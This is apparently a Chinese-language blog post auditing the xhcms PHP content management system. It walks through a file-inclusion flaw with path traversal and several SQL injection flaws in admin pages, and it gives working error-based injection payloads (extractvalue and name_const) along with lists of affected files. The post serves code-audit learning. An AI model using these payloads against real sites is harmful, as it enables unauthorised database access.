xhcms代码审计

本文最后更新于:2024年11月24日 下午

xhcms代码审计

先用seay自动审计,然后一个个查看验证

image-20241124153345463

文件包含

/index.php/admin/index.php是一样的代码:

1
2
3
4
5
6
7
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

可以看到,前缀和后缀都写死了。

前缀files/可以通过../进行目录穿越来绕过。

后缀一般通过%00截断绕过,但这里有addslashes函数,会对NULL字符转义,所以无法使用。

这里后缀的绕过需要使用长度截断实现,但条件很苛刻

需要php版本小于5.3.29同时Virtual Directory Support=enable

Virtual Directory Support在phpstudy_pro中是默认关闭的。

总之这里对后缀的绕过在理论上是可行的,但实际上很难实现。

sql注入

存在很多因变量未过滤导致的sql注入,同时sql报错信息会直接显示出来,可以使用报错注入。

比如在/admin/files/editlink.php文件中存在下列代码:

1
2
3
$id=$_GET['id'];
$query = "SELECT * FROM link WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());

变量$id未经过滤,直接放在sql查询语句中

报错时会回显报错信息die('SQL语句有误:'.mysql_error());

payload:

1
http://xhcms.cn/admin/?r=editlink&id=1%27%20and%20(extractvalue(1,concat(0x7e,(select%20user()),0x7e)));--+

image-20241124161819119

以下文件中都存在上述问题代码,payload改一下模块名就能用

1
2
3
4
5
6
/admin/files/editcolumn.php
/admin/files/editcolumn.php
/admin/files/editlink.php
/admin/files/editsoft.php
/admin/files/editwz.php
/admin/files/reply.php

还有一种是update和insert语句存在的sql注入,同样也是sql注入

比如在/admin/files/imageset.php文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$img_kg=$_POST['img_kg'];
$img_logo=$_POST['img_logo'];
$img_weizhi=$_POST['img_weizhi'];
$img_slt=$_POST['img_slt'];
$img_moshi=$_POST['img_moshi'];
$img_wzkd=$_POST['img_wzkd'];
$img_wzgd=$_POST['img_wzgd'];
......
$query = "UPDATE imageset SET
img_kg='$img_kg',
$images
img_weizhi='$img_weizhi',
img_slt='$img_slt',
img_moshi='$img_moshi',
img_wzkd='$img_wzkd',
img_wzgd='$img_wzgd'";
@mysql_query($query) or die('修改错误:'.mysql_error());

这里同样是变量未经转义和报错信息回显

只是payload和select语句中使用的不一样

payload:

1
' or (select * from (select name_const(version(),1),name_const(version(),1))a) or '
image-20241124163522258

随便选个文本框把payload填入点保存即可

image-20241124163707931

以下文件中都存在类似的问题代码,具有相似的利用方法:

1
2
3
4
5
6
7
/admin/files/imageset.php 
/admin/files/manageinfo.php
/admin/files/newlink.php
/admin/files/reply.php
/admin/files/seniorset.php
/admin/files/seniorset.php
/admin/files/siteset.php

xhcms代码审计
http://example.com/2024/11/24/xhcms代码审计/
作者
sawtooth384
发布于
2024年11月24日
许可协议